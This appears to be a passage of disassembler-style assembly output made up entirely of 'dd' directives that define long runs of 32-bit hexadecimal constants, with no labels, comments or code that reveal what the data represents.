dd 1E9AC6h, 0FEC53F1Fh, 0E6229FF8h, 0E8B4CB4Ch, 57434Fh
dd 0AD7AB758h, 3D2BC45Fh, 6E30EF42h, 791E86B1h, 0AE164E02h
dd 801A572Dh, 848B32A4h, 4F2B035h, 96BC780h, 0F254A24Eh
dd 0D75C30C6h, 0FC3E6F28h, 0BCD0044Ch, 664331h, 15696A7Bh
dd 91E3F241h, 0AB90B2B4h, 8261530h, 3B04711Ah, 0BC40BF64h
dd 0A53425EAh, 0E2727AF8h, 0C0F38B26h, 482FD682h, 91B09706h
dd 561D8054h, 0CA4DA5Eh, 0F2945FE7h, 0FA000171h, 16D3100Bh
dd 0EA1BE93h, 245776F8h, 0BF85BEAh, 0C420ED63h, 79861F66h
dd 98A0E891h, 83842659h, 0B98F7D7Fh, 6E0C9BBBh, 1E883C88h
dd 52267F7Dh, 793031E3h, 3686371h, 0D40F8711h, 666FE26Dh
dd 32CB1090h, 0F96F76DEh, 450489C1h, 602EC498h, 0B68BFCh
dd 0D8275C11h, 513A28A8h, 8111397Eh, 84A8098h, 13C0897Ch
dd 46712826h, 0BF22F4h, 0E625F0B6h, 96B57D5Ah, 6276FB1Ch
dd 28382839h, 14029446h, 0EC712526h, 0B911C431h, 46B7FCEDh
dd 0E6BC6301h, 2385317Fh, 0C33E2D9h, 68E8D458h, 0C90008Ch
dd 62ABEE6h, 0BB0AF09Ch, 943B2002h, 0B6D34982h, 0B27050D0h
dd 22A465Ch, 0BF82BD9Dh, 922D318Ah, 9C01FC21h, 0EAE45E88h
dd 0CAA28826h, 381F430h, 4D742FB0h, 0E6C20FF7h, 4CD34460h
dd 0C88BA62Eh, 644674h, 0FD760CA0h, 7B21E8h, 3A7ED84Dh
dd 7063D0A9h, 588BBB12h, 0DC41BC12h, 36299061h, 30318442h
dd 7F12BD92h, 383972BFh, 0AFC040E6h, 0FF3A0F63h, 7F6D6958h
dd 0DF43789h, 0F9FE0161h, 7813FC41h, 9D007462h, 75053EB8h
dd 80B16FBBh, 0B6185EF9h, 0AD82C700h, 5CEAE057h, 87CCA02Eh
dd 77D73069h, 0E4EF3199h, 90396565h, 8C890CCCh, 1503221Eh
dd 0A4E02350h, 0CA00032Ah, 0B5E80BDBh, 835FE7Dh, 0C485B31Fh
dd 11241DC9h, 0FBE28065h, 3F1910D1h, 60F0215Ah, 0C0572181h
dd 2B268D34h, 34C83411h, 763465Ch, 0E5F926DEh, 8977E44h
dd 267C214Ch, 80B46A0Fh, 534C5F77h, 0F400A8ECh, 0ABA705E3h
dd 303A6979h, 9331F194h, 64030AD9h, 7A20E726h, 44DFB206h
dd 4032F708h, 61641086h, 2D9D020Fh, 8F4887BCh, 0B6172150h
dd 0EE2705D6h, 1C408D3Ah, 4655FE4h, 0CC217B78h, 48C2F90h
dd 0BF81BD90h, 7DC8EA2h, 43BD87F9h, 0DFF57821h, 0A42DF3C5h
dd 8C2EACh, 9EEDBE65h, 0C7B2E522h, 44C8D350h, 8C36FD26h
dd 0C1467Ch, 909E842Ah, 289B021Eh, 4828FE62h, 0F1C360EEh
dd 88E2929Eh, 26183090h, 0CC712911h, 0BD838D88h, 8A1525F1h
dd 91B08289h, 0A4C20342h, 73EA4980h, 7478F217h, 0D7630420h
dd 4A0916Bh, 405ADF7Fh, 67B9B82h, 0B8490185h, 706BBD59h
dd 282AA8D3h, 2FF783Bh, 38F58691h, 407ADFh, 0FDE881EDh
dd 0C3D45325h, 0E5C66A00h, 1A4D2D28h, 3679C93Ch, 5EE494E5h
dd 0F0A98663h, 42688F7Dh, 7E5A60F9h, 1E8AB25h, 0DAE5A12Ch
dd 283BBFCEh, 4583103Ch, 2A95E603h, 78D8DF9Eh, 41E129A8h
dd 0C0D31B7Ch, 77006EC7h, 2531FCF4h, 297C40h, 4686F082h
dd 818590B0h, 0E8A4474Ch, 93008C2Ah, 17EA51B8h, 0AA9D7EDh
dd 1FDCB926h, 0F46104F0h, 8DF841FDh, 94326753h, 0DA639709h
dd 4CF51090h, 0D0629F30h, 0B7D860h, 0EB7854B8h, 75138A7Ch
dd 0A19C23F9h, 5C0C5754h, 16F11F50h, 0FCD31100h, 8CED3B37h
dd 55DF2A88h, 0CEB73EC0h, 0BBD62F87h, 759CE07Ah, 4600BCAFh
dd 0E09FBDE5h, 0A504DB73h, 5755E290h, 78372F18h, 290A0381h
dd 0E614554h, 28E4F692h, 31670F30h, 0FC4135E1h, 977D0062h
dd 0B4BCD5E7h, 0BB8FD1Ah, 0C492624h, 149CA108h, 0A048D885h
dd 18C64E8h, 0C8A7E26Eh, 3D920221h, 0D0BCE8h, 56ED1C9Ch
dd 8DA9ADA8h, 0F0723B28h, 0DF1F771Eh, 0A85D3392h, 9D78DA86h
dd 0D37407B8h, 0C0F1EC0Ah, 88267987h, 0B494912Ch, 3C60E74Eh
dd 0DF1AC200h, 45191842h, 1679F059h, 62F21542h, 3D371C30h
dd 0BD9D7355h, 0C2EB896Eh, 4279F460h, 39826894h, 0F8CAD3h
dd 41EF7D09h, 0A10C4890h, 18F1CED4h, 0CA5997h, 39380F18h
dd 8A00D815h, 7E6D92E0h, 0EBDBB5A8h, 0CBD7F896h, 67C00868h
dd 74182C7Fh, 253B5246h, 1E09AD00h, 1571F64Fh, 0FA5C6270h
dd 0EE4E8154h, 0AC6CB8DAh, 0F4DF9D00h, 5736E2FEh, 4676D094h
dd 844F262Ah, 38448160h, 9D5201FCh, 0F5E41E26h, 0BD34E856h
dd 628FFB06h, 9193F3h, 21F6B3EEh, 75529A79h, 0A5FE4278h
dd 6045F25Ah, 8C8F57A2h, 95C03188h, 38194E57h, 1C2727F2h
dd 7DC1D800h, 1C981D73h, 0E1313963h, 2FC14F89h, 35C2354h
dd 2E7EB97h, 3EC75288h, 7C64BB54h, 5CC4E8A7h, 0C4A9E260h
dd 9E044DE2h, 0EF8B7A88h, 0A6E328A0h, 46C898E4h, 9884C87h
dd 46247126h, 0B8CC44D4h, 0E097FDFDh, 3E247B49h, 7F1F60F5h
dd 88C04357h, 580945B9h, 2F5E9CE6h, 67234Ch, 8BEA12BEh
dd 0EF113590h, 0A04C5AE3h, 4AA30079h, 0F095741Eh, 3B380391h
dd 92822561h, 0CE00C5BCh, 0D49780F1h, 3CAA02B8h, 0E28A32DEh
dd 26909F14h, 4B203DE0h, 8C469600h, 711C58EFh, 943A4C3Ch
dd 80072923h, 0B374907Dh, 3FC034A2h, 414C7D89h, 6F8B7B18h
dd 6856FF59h, 0D62820FBh, 1085A613h, 67AC3820h, 0C24F0939h
dd 0A8C1CC95h, 4C34324Ah, 7663819Ch, 0E0E0FA59h, 791E0175h
dd 1B4CEA72h, 0BC002C07h, 0BD0F8C5Dh, 0E0302C91h, 6929A58Eh
dd 0C197A2AAh, 2E2A15DBh
dd 6823E4h, 48D5D9B8h, 78EE9AC0h, 0E842AE26h, 0E4DF8642h
dd 48D60074h, 23A95FE0h, 52094DE1h, 517D7B26h, 185D79F4h
dd 0BBA303CCh, 0A4C2E25Bh, 0D3AAE5F0h, 0BF00D8B6h, 8EED3C10h
dd 54B299Eh, 1871716Ch, 823F0230h, 4553B032h, 0FF554660h
dd 4FD05499h, 79008657h, 7D271AA5h, 0F4E87753h, 8E3D00BAh
dd 5BDFFC92h, 0E31741DBh, 0F021D12Ah, 730162A3h, 78402ACCh
dd 0DA15E46h, 20B0B036h, 0D77A6B7Fh, 0AA971902h, 0CD38281Ch
dd 0B992E02Ch, 0E700A822h, 516C8E54h, 9328B1h, 689E3FF6h
dd 0B425E8B7h, 0A038BD7Bh, 0E0E1AE69h, 0EF44624Eh, 7732025Ch
dd 93ADACC1h, 54CB0481h, 30575284h, 1C47A9E7h, 0C232CFFDh
dd 0E2697AEFh, 0D32438A1h, 0A9630064h, 4D64B8A4h, 0F802895h
dd 14712426h, 8258ECB4h, 0A22501EDh, 26AD1EB8h, 9CC2222h
dd 2007AADFh, 9802F524h, 91D9FECCh, 2F8C922Ch, 5C2358h
dd 0AF17001h, 914C6B3Ch, 55D7102Ch, 1A2E783Ch, 942D15E8h
dd 8BBD9E80h, 0CCB192BFh, 809529CEh, 781E3F8Bh, 148B974h
dd 0FCF357EEh, 0F9C7031h, 9483589Ch, 0D0EC2FDEh, 14F670Ch
dd 93B6AF23h, 0C71A77B8h, 70419182h, 3CBC7163h, 0D06E4BE8h
dd 0DF82F102h, 0B8C75991h, 44606BE4h, 3209F559h, 0C57F17BDh
dd 60C3E448h, 0EBF428h, 0BC429001h, 71AAF717h, 0BBFE621Ah
dd 7008DB29h, 3402D207h, 0E29DC750h, 5EB45C0Eh, 12076746h
dd 64D36F4Ah, 8A48BCB8h, 37A5D893h, 75130078h, 2087683h
dd 0F297A414h, 0DCA20074h, 0FF119BB1h, 9DDB3FC4h, 0EEC3A058h
dd 0C17461E3h, 54062FBh, 653FB5D0h, 818093h, 0B6FB5BC1h
dd 14BDF4BFh, 925E4E73h, 0C423F42Eh, 0FFC7F600h, 162CC45h
dd 4FD87A34h, 8B742A33h, 0AB4DFE89h, 11801D18h, 0A36A84C0h
dd 21DF4980h, 83AB16BFh, 0BCB045BEh, 8844CF37h, 0DBA6C1C4h
dd 0F41FE875h, 8F4A6000h, 8AB263FCh, 0EE1A0589h, 0C9E198BFh
dd 7A3DF888h, 8C4C172Eh, 5BF23B00h, 0F162576Ah, 7A022C69h
dd 92A7EE7Dh, 0C3E44845h, 23F5A760h, 60F10E00h, 3790B981h
dd 760F28BBh, 0A0112CDCh, 6E8D16EEh, 0C8F6000Ch, 0E57EB534h
dd 25D600A8h, 0C315FF79h, 80FF96D0h, 3B7EA489h, 0EDE36Ch
dd 7114959h, 0BB6E44EBh, 34F2DF0Fh, 0F4F7923Eh, 0F1863988h
dd 0B6200CF2h, 0C0467450h, 625AF100h, 792FB82Bh, 45A7A0B1h
dd 636EE454h, 657A8084h, 0C02A2CCCh, 43BF42D0h, 0CD16EC23h
dd 61070C04h, 0A789E60Fh, 0C1118C1Dh, 5E0FAE87h, 43DF0240h
dd 0FD2842EDh, 0B3EA8853h, 0E44D2B25h, 24345B00h, 8820CB2Ch
dd 402AC12Bh, 517BE85Fh, 0FC9A86E0h, 91C99730h, 1E950h
dd 88D1896Bh, 0B477D4BEh, 0E7AA2800h, 0E304754Ah, 0E9F42D10h
dd 0FC48AF78h, 8BF309DCh, 0D954F13Eh, 24EB18CCh, 7345886h
dd 4120BD06h, 6077AF3Ah, 0F1054508h, 0F8C244EAh, 55B20CA3h
dd 362030h, 76B31EDAh, 0F6CDC054h, 9E0226F8h, 13311DB8h
dd 41B45469h, 2FE8EF2Ch, 780E5C46h, 31C70019h, 7DC4291Dh
dd 0C303D842h, 725501D3h, 2696883Fh, 30AD5A86h, 8AD5D084h
dd 7F7A5840h, 3C73F909h, 3BCBFB11h, 245E242Ch, 52E05A06h
dd 0F1849170h, 121018C6h, 55CA0F3h, 0C6EB3753h, 0AB0B68F4h
dd 18577FF9h, 3617814h, 0B214473Ch, 3082A31Ah, 494478E7h
dd 6EE05D60h, 0AAE55E04h, 2CADDA9Fh, 0C543F0D8h, 0E96F2080h
dd 9AD7A438h, 43D4806Ch, 124CB6F2h, 0F37D79B4h, 0C31E10E4h
dd 3CADFD39h, 5C917817h, 0F3BDE380h, 7512C2A4h, 24B0FADAh
dd 0B5958618h, 2CC00074h, 4456E06Ah, 0C1558B25h, 56CAB2F4h
dd 0D7971724h, 90406E54h, 3FB22DCh, 0BE0E2F3Bh, 0C8CE4E5Bh
dd 0A3CF52C8h, 0E8A0EA5Eh, 1ABB46Bh, 0E6F5794Dh, 3815FA73h
dd 8C6EB870h, 3922E101h, 0F6327C9Fh, 7B31B840h, 180CB014h
dd 513EBD7Ah, 0B774CE61h, 717CF073h, 0E519B661h, 0A8511FFCh
dd 0BCE413F9h, 0F4E01603h, 0B030A615h, 0FB5C12h, 84CD6038h
dd 0EEEDCFE1h, 2C95B74Eh, 0DA1C30A3h, 2D6E01A4h, 2915F279h
dd 1F32AC7Ch, 0A5BDF0EDh, 42DD1462h, 5C585675h, 0AA58CA46h
dd 0CF772E00h, 1EA4CB3Ch, 0E767B13h, 0D7C78E4h, 63578B70h
dd 0BC387868h, 16EE8C4Fh, 74E7CC03h, 0BCDFF95h, 0E2BDF9CCh
dd 973034E4h, 5DC271EFh, 703500DDh, 9B6344F8h, 852F30DBh
dd 55CFEB1h, 256EBBEEh, 48A2F0h, 1C875997h, 3F1B39Eh, 9B625F8h
dd 0C7E09BD1h, 29C0F096h, 4A5BB8E3h, 0A0C214F9h, 3C489C14h
dd 2E8C4AE8h, 76EC8C8Bh, 0B304CB46h, 0C01BBB75h, 8EB04088h
dd 320BF3ECh, 508F7457h, 26B700E4h, 3FEC9772h, 54BA3D43h
dd 1074854Ch, 1F04C60Bh, 88FFF148h, 44163D90h, 0D0002FDDh
dd 68D22772h, 0C9C103D1h, 8859247Eh, 6AFF28A0h, 0DA3031C0h
dd 2EC42C19h, 2A9C9F6h, 3E4676B8h, 0EC0414DCh, 6488B9EEh
dd 0C143104Dh, 86F8673Bh, 46074CB1h, 0B263B082h, 94C099AFh
dd 33354D09h, 4B61850h, 0E33F55E0h, 5C85A25Bh, 0D66BF181h
dd 1837C460h, 18FAF3B3h, 0E130D309h, 105EA157h, 0DC370199h
dd 0E78B7B07h, 38036A5Ah, 434980F2h, 0C3A2D8B8h, 635230h
dd 0F964811Fh, 708938E4h, 0C0A6E324h, 2380FF89h, 3F89460h
dd 3B78439h, 59DA10B8h, 65790851h, 49007E18h, 0C8A692F2h
dd 0F8EDEFBBh, 49648F1h, 0BB37806h, 1625805Fh, 9264A280h
dd 65100239h, 427F8CA2h, 1D906443h, 8101D61Ch, 0D37B3A44h
dd 40A669FAh, 0E302DE84h, 0DE6F08CAh, 84FCF1D5h, 0C2781E5Fh
dd 0C0C456ADh, 1FBE7F20h, 564924FDh, 0FA50A575h, 0AC9C38E6h
dd 0FCA4656h, 0A15C9AFEh, 0AFC11996h, 401F6870h, 7561E166h
dd 204978B1h, 0AF21AC0h, 7E6BDBCEh, 0D72540D4h, 9B13873Dh
dd 24CF9DE1h, 21C35E88h, 8CEAE996h, 41FDF830h, 41BBFC31h
dd 0E013A15Eh, 5CE2DCB3h, 0EF00730h, 0B52232C5h, 0A77005F2h
dd 1CE0E45Bh, 0B1E5A40h, 0F9840DB3h, 0FE00BCC6h, 8350C815h
dd 4AB4A1C5h, 0B04085A3h, 9C9E8D9Ch, 0FD9317D6h, 80B8928Eh
dd 467C7476h, 0A2D8098Dh, 0B714E66Ah, 2C003CB7h, 2B0C445Fh
dd 0EF8200CBh, 73E17921h, 285C482Fh, 0E6EA003Ch, 164B1D6h
dd 105313DDh, 4A08234h, 4CD64C5Ch, 0EB10C869h, 17CC3ED1h
dd 0A83075E0h, 137DA52h, 0A1595002h, 0F2DC1867h, 4F3F5440h
dd 17C92CB6h, 80C6114Ch, 9AD2285Fh, 0E279001Eh, 8B7A70E3h
dd 3C806F07h, 6C11B57Eh, 3F8518F0h, 6BA1917Dh, 7D4E3EC0h
dd 0CCD60315h, 2474B871h, 0DF0738FAh, 0D42C7C62h, 77298774h
dd 52A7A2F7h, 9580AC5Ch, 2678129Fh, 59E02939h, 18627140h
dd 0E7A400FAh, 2D4CF90h, 564AD3C2h, 841EE40Fh, 18B68BDCh
dd 1BF193B0h, 1E44BD12h, 58F748A2h, 905618C0h, 170FF2D1h
dd 2FF6795h, 57EB8D39h, 6F0EBC82h, 840E0A25h, 220036ABh
dd 0BEFF2B01h, 49E30111h, 74F754B2h, 18A064B7h, 94C8875Eh
dd 0D5DD0015h, 81DB223h, 81F052B5h, 54704E02h, 5A76793Bh
dd 0C3B80164h, 0F218BF71h, 4F783D42h, 0CCC8608Bh, 0E04B9FC0h
dd 1988A862h, 0D5A73D88h, 0F1DC9980h, 4104A816h, 0B4C0E24Ah
dd 0EB7E7667h, 8E4E4C3Ch, 0C771C8B4h, 8D787075h, 801260B0h
dd 0A40279AEh, 0F0FACB39h, 689E0790h, 0C866D49Fh, 3469A005h
dd 4B1400F0h, 0C4388E65h, 0F3305752h, 0E701951Dh, 0AF374315h
dd 0C8206942h, 64A09D11h, 9E6E2094h, 4560DD00h, 0FF44CAC3h
dd 0A201030Dh
dd 26A6E6D3h, 9C71FEE2h, 0DA18C3F1h, 0AF64A900h, 42F5BB23h
dd 8BEE02F1h, 502F4E8h, 31706CF9h, 8B7F8666h, 0E4989203h
dd 0DC9716E9h, 52F1DCF2h, 3370C57h, 238DA49Bh, 0C088380Ah
dd 9D4BEA60h, 0C023382Fh, 817F450Eh, 3F8E6543h, 0C22C021h
dd 0B99D1C0h, 6F182C4Ah, 0A7087A13h, 0FB0F00BEh, 5D127D8h
dd 200C32CFh, 18BC106Bh, 1D330092h, 7EBDECA4h, 31C39514h
dd 0E1D125B2h, 2848720Bh, 0ECD3899Bh, 0E10F20D1h, 81864CF0h
dd 0FE04C0FFh, 0A02469E8h, 0CFD64E7h, 72D6BE92h, 7C000F08h
dd 9FA8C971h, 0CF3B8Eh, 7E01ADFBh, 58B8994Eh, 38912506h
dd 30FC40h, 4F0BB9C8h, 31F8710Dh, 6EE0ACA3h, 51C96F28h
dd 0F5F4C05Bh, 0C5919D6h, 8363097Ch, 0FAE23B21h, 1280C421h
dd 3FF574h, 987362ADh, 0A758DB33h, 349B748h, 0EF44B953h
dd 88E1402Eh, 23058C80h, 220B96D1h, 40D5B038h, 0BF0CAD2Ah
dd 58AB09BDh, 132407B9h, 45DD5199h, 0BAD68210h, 755EBCA0h
dd 3403E12Fh, 3D965094h, 6408184Ch, 7D772010h, 1B7A2F07h
dd 54E05A0Ch, 5547A4h, 7B9B95FEh, 8A4052B9h, 186A80C3h
dd 14392B6Fh, 0F0A45134h, 51029BEEh, 0D014FCABh, 7F8491BDh
dd 0D1082618h, 0C47A0BA3h, 6DD2419Ah, 0AF608FD1h, 0F8500090h
dd 13922132h, 3E000FA0h, 0FCA8FE0Dh, 0C00B95E9h, 9A2FBE80h
dd 0C7031E55h, 8EBAB678h, 3D0830B0h, 55A34C21h, 0FC04EEF6h
dd 5F27390Bh, 2FC81880h, 0F6A6580Dh, 0AF844h, 41F21198h
dd 684F3859h, 7AF28D2h, 55AA88D0h, 0F03C27E8h, 80C71F55h
dd 4D38448Ch, 3755A200h, 14F841E9h, 4BC500C8h, 0D8268F1Dh
dd 7B15B925h, 0B4B46Bh, 7440C45Ah, 3D8506h, 0E771F7F3h
dd 6B272A52h, 0C740A1DDh, 90C23224h, 0F8AC0394h, 8B8595A5h
dd 7D748EF8h, 2EA93F01h, 47EE9872h, 8AAF5886h, 80A1413Bh
dd 8DF1829h, 0EEF575FAh, 0B04064C4h, 3857FAE7h, 720CD1E6h
dd 0B1B76ADFh, 59A5009Bh, 4DC27E9Ah, 4060891Fh, 85D52078h
dd 86150A74h, 14817FBh, 67C10FC5h, 0E3C8205Dh, 0ACDABA09h
dd 61740E9Ah, 69A9E881h, 89D4B840h, 4C7E121Ch, 23A43AECh
dd 3980019Ah, 4B1C587Dh, 0C7A88820h, 6E560089h, 0A206797Dh
dd 0B3196A3Bh, 0D3350CF9h, 0BAB8B2ACh, 0E0DEC200h, 3B474180h
dd 34E806F3h, 20A169C3h, 993FF60Ah, 1E07803Ah, 95611F8Fh
dd 39F847DDh, 0F080F9BFh, 0B09BD9C6h, 0F30A710Ch, 0C0688AAEh
dd 9947F683h, 5540063Eh, 58C364DBh, 0B18D1330h, 0BB76CEh
dd 82CCF184h, 0F0C90CB4h, 5F89B00h, 95F3BCAEh, 489242h
dd 0AAF67DAFh, 4C7C88Fh, 0B5FF061Ch, 89C240C0h, 0E2CF53Ch
dd 9BA7E156h, 0DFED0E7Eh, 4D852E00h, 82E5CD3Fh, 94DB5388h
dd 90140292h, 65675920h, 0C0F3FEC2h, 3E42ED02h, 66177AC6h
dd 97AC19D5h, 28929609h, 0FAE04030h, 624AC98h, 6264405Ah
dd 0FAE8B140h, 0B061908h, 7A752764h, 0D6B2418h, 8EAF419Ch
dd 91318070h, 0E75B1E40h, 7C945053h, 7E700706h, 9066BBF4h
dd 1B90F08Ah, 39BDF381h, 51B96D9Bh, 0E3FCA9C0h, 0A401F493h
dd 0A8C72455h, 4E883718h, 0EE5507ADh, 0C4B1E078h, 0C814CBA9h
dd 2482C032h, 43009B64h, 860B7B4h, 1E496B1Dh, 0D2F1C5C7h
dd 689C1466h, 0FC8C9FE8h, 89DF3D94h, 0CD787F80h, 0BB350B9Dh
dd 0E4ADF128h, 9B4EB4Dh, 0A06C6AACh, 0E96935ECh, 15460053h
dd 2C62C4Dh, 0AD1F289Fh, 6C055BB1h, 749BEC75h, 841F4FC5h
dd 0F8488734h, 78FADCC0h, 22E646F5h, 0E43D0161h, 0C97229FAh
dd 80EECB18h, 0B8CCA94Dh, 2ACE0032h, 0E082C0DAh, 8B05310Bh
dd 0DB38573h, 0C8C914DBh, 0DCEBFB00h, 0EC9052EEh, 5AD7B914h
dd 34E205DCh, 983A4F0Ch, 6503A623h, 0A45A09B5h, 602718C1h
dd 55B77987h, 833E30B0h, 3F7AE374h, 794D5A00h, 0DB236421h
dd 2EE226CCh, 35756118h, 0CFD1CCF1h, 31876200h, 1FFD09DCh
dd 0F0324879h, 9F761775h, 0A83814E1h, 15C39006h, 0A400418Ah
dd 12758B82h, 0A4ABC4FAh, 2E446C0h, 0C72355A5h, 103331A0h
dd 355AE51h, 6D4FBC3Fh, 0CBB86F63h, 0E1170FC8h, 0D84360BFh
dd 0A6E64FEh, 8CDEFD14h, 27E904A8h, 8194C0B7h, 3CA5A8AAh
dd 3B603964h, 9307639Eh, 0AB0E2097h, 8571FFF2h, 841E7CACh
dd 15064411h, 904EDBF1h, 8F17F201h, 0C7656A1Ah, 9AB81BF0h
dd 339410D8h, 0FC271573h, 139803CCh, 480E4191h, 3DE828B8h
dd 8796018Ch, 0AE018D72h, 8EA08B6Bh, 62A010B9h, 91C8A0B6h
dd 0FD9A2638h, 60E5445Ch, 292255A6h, 0C0C498C7h, 6F559F50h
dd 0FCE35213h, 2B81D907h, 4882C345h, 46386458h, 9620257Dh
dd 19D4614h, 58BC7560h, 0AE59418h, 762420h, 0B13FF443h
dd 3D98735Fh, 93FBF119h, 2DF05638h, 0B318C063h, 0D6176AF8h
dd 48480E4Ah, 2F7AC0ADh, 7C4634DCh, 82F66622h, 253B2F00h
dd 1EAFEF91h, 94E73045h, 298E0DA1h, 47D47554h, 6E330B00h
dd 853B5B60h, 3AF30442h, 0C48207D3h, 15B01E04h, 0C6099849h
dd 4023D7C1h, 0A10DDB6Bh, 31088DF7h, 20230049h, 883066A2h
dd 855A0067h, 3DCDC74Fh, 28AA8C27h, 66C49C65h, 0CF091561h
dd 941D91D0h, 0E76E851Ch, 2158F6D5h, 802B91FBh, 0F573FADDh
dd 65448CDEh, 0FAE5003Eh, 10CBCD55h, 8419C079h, 41513A94h
dd 395DF6D0h, 970098E2h, 366F8E91h, 9C1E4F5Bh, 71408C95h
dd 90F4D628h, 0E9960929h, 1440651Fh, 337E8F18h, 4F91C604h
dd 7492BF81h, 40B8A939h, 44BD17ECh, 6A00F90Ch, 2F1CBF49h
dd 628BAF96h, 9913A9A7h, 8E6AFCA0h, 46737F74h, 4718E7FCh
dd 20703BA5h, 6FE11215h, 41780054h, 0CF89B6FCh, 0BB6E6D01h
dd 70C9FD86h, 444447EAh, 62D06067h, 0DBA049Eh, 81667609h
dd 252426E4h, 0F78036A8h, 0AE5C9F50h, 420D3EDCh, 216C2618h
dd 0BD003F51h, 0C8D1E382h, 42583Dh, 0C33B1361h, 211EF94h
dd 0C0A0C8C8h, 34DF2F73h, 6822A446h, 2F7B7900h, 0F5AFEB81h
dd 0A039F017h, 0A19A9Ch, 0E1D3B9BBh, 0F708918Ah, 290F5412h
dd 44041482h, 0F00E0A30h, 31D8AD63h, 83672614h, 0C27254B1h
dd 0A0F39893h, 2A550224h, 0FBB8471Ah, 0FCE0C8A0h, 4967026h
dd 0FF7F39DCh, 0F2664B05h, 0A8E8001Dh, 6AAE71F6h, 9201A09Ah
dd 584F0E7Ah, 0E0C8B72Bh, 89C7A024h, 5E349C9Bh, 0E8003946h
dd 76D4AD1h, 0D0AB21Eh, 0FC487E01h, 0C824680Ch, 21048C7Ah
dd 120B98D1h, 0D7C094F2h, 0FE63D128h, 959DAB00h, 158B55BFh
dd 7DCB88Ch, 79FFE2EEh, 0C181EFDEh, 26279296h, 0FAE11D28h
dd 9CFEF5C9h, 0E9B2003Ch, 4BB55DFAh, 3312F157h, 0D4CDDE9Ch
dd 0E0EAC09Dh, 0EBE11412h, 46C854C6h, 0D1240281h, 0E72A0BA5h
dd 2BD40164h, 296B02D1h, 1B472630h, 5E363200h, 1C8FE261h
dd 4096314Ch, 0A07AAD81h, 40B1FBDEh, 6B189AD1h, 31E90801h
dd 0AA0D7894h, 0EBACC829h, 0C42A290Bh, 919280A1h, 0FBAD677h
dd 0AC89A9A7h, 186A2F09h, 180395C0h, 8504C93Bh, 797E451Dh
dd 170B90A0h, 483F85E9h, 0B68174DCh, 0CAF5D68Ah, 7E2565D4h
dd 37792E4Dh, 0C145803Ch, 1F53C5Ah, 0A92A660Fh, 6BE199C6h
dd 76004439h, 0D2EDA483h, 0A701542Dh, 55E79D25h, 44628AAEh
dd 39911418h, 0B50F5013h, 408D8CF1h, 478188A7h, 0DFF30054h
dd 0B96ABCEAh, 61F4E00Eh, 0C62CC0BAh, 467464F0h, 25C00062h
dd 0BA4005F2h, 0C9170480h, 82A6ADFFh, 8132E2A8h, 0B0C72598h
dd 8836C458h, 5539AC4Fh
dd 0C17107C9h, 40B0C2F5h, 91A3EE89h, 18A7D140h, 525D2E1Fh
dd 680A0F30h, 0DB330490h, 0A88294ECh, 618C4C4h, 71C334F2h
dd 7C1F188Eh, 0C9C9BA63h, 0DF24A0C5h, 0C2BD915Ch, 96E8D340h
dd 71800209h, 8364E060h, 186A11F7h, 0DB35069Ch, 7A288AE4h
dd 0A57391h, 20CCF822h, 0AFC888Eh, 0DC166A3Ch, 8C65FC7Ch
dd 401690Fh, 323CEBCCh, 79D0D16Ch, 15F189Ah, 0CAA364A1h
dd 684E01ADh, 6B780988h, 0AF441010h, 80A0B490h, 83F577B9h
dd 4EFDAD4Fh, 0C03B88F8h, 0E3C02BF0h, 18B86469h, 51416D4h
dd 0D3DEF6A9h, 74E4C0FEh, 8494C639h, 12FC6742h, 3D11F897h
dd 66058582h, 0BD09B046h, 0E08B21BAh, 483252E4h, 3D74B01Dh
dd 0C70391F8h, 5F77F107h, 8861A804h, 98C24EBEh, 0BCC82296h
dd 6870A053h, 2A54078Ah, 1B976046h, 0B290EC47h, 28C61FCh
dd 0BF28B7BAh, 68D0218Dh, 0C06D48C8h, 0F579FADBh, 42CCE4Ah
dd 0FAE33B3Ch, 62AE8580h, 0BF1E87C9h, 5120DD35h, 58C85CCBh
dd 0A890CCC3h, 0B4A6AAFh, 1D02AE3Dh, 0F0811066h, 99818E7h
dd 88C72055h, 4A80D0E5h, 0AD255A1h, 35760271h, 0BB07F167h
dd 202264C1h, 48CA1B4h, 34E02F76h, 2069629Ch, 612F7E78h
dd 1570380Ah, 9E80DC8Bh, 5D34FC3Bh, 0F9430F3Ch, 0E08E1D95h
dd 0B30CB4C4h, 31A6A2A4h, 8597F0F7h, 83FD5300h, 0A67346D5h
dd 3927C89h, 91E4D0A8h, 0E9021137h, 0AE80E76Dh, 17705AC3h
dd 53FD3FF4h, 55001D8h, 84443291h, 5FE9C631h, 15B5A4A0h
dd 0B06C3601h, 33F2DC52h, 952CAF30h, 36E5E080h, 691FA844h
dd 6030EFF1h, 36DC713h, 6FAEF660h, 0E900A414h, 38AA5924h
dd 0FFD4F3Fh, 11EC6351h, 0C9500763h, 0FAC47089h, 0E000D4D1h
dd 47FD1932h, 0D83060E9h, 0C5BFD61Dh, 10413725h, 5E8DF8h
dd 0CDCB1681h, 5947E6E9h, 2F334040h, 0C379A18h, 0AFFD2E01h
dd 446C7326h, 5FE8B858h, 0F0BB718Ch, 532F010Ah, 6ACF327Eh
dd 70406D0Dh, 48CDC302h, 8770292Ah, 20196B7Ch, 5AEBF340h
dd 0A1350B65h, 4D0444BAh, 0DF23805Ch, 24051CA0h, 0D17E99Fh
dd 0E8E228D5h, 303063F2h, 0BAE405DEh, 81FE4588h, 504694ECh
dd 0D0E520F8h, 0CD858A04h, 90B1E64Dh, 67BC2C28h, 20C81E8Ch
dd 89C665Ch, 4028704Ah, 9E44D087h, 5655E960h, 7F34F603h
dd 4E68AC8Ah, 238C2F48h, 0C3F3023Bh, 88E833C1h, 3513390Fh
dd 0EC038CF8h, 1D5E23B9h, 12FE1518h, 23042F95h, 0DE750063h
dd 0EC655521h, 0DF6B4100h, 706EA104h, 6DE41EACh, 18C38076h
dd 23D184D9h, 0F42BCB0h, 0B10C9519h, 0A8FF4039h, 0F30DC290h
dd 0F80DC92Dh, 657FA88Bh, 9C470092h, 0D0673944h, 5B2198B7h
dd 0C4AD4C26h, 145A263Dh, 138467Ch, 0E2E70ED3h, 75FC17DEh
dd 12F5E81Dh, 4435A127h, 897D45E8h, 0CB00687Ch, 60F84DA9h
dd 6E965DA1h, 0E1182400h, 0E71BFF91h, 0FBBE2582h, 65917017h
dd 0DF287080h, 5704DA23h, 14D2BB1Bh, 127E64A8h, 0E0652517h
dd 7C20D310h, 3FF613ABh, 95C445A5h, 8418B361h, 0C602F969h
dd 0DCAF9BB9h, 5BFE0182h, 0B8FFB884h, 0F1440984h, 0E53062D4h
dd 609BE484h, 1713059h, 0BD20C7A6h, 868E298Ah, 662D1FA9h
dd 0B3553FC0h, 0F408AC20h, 27314927h, 0F067DC9Ah, 0C9606044h
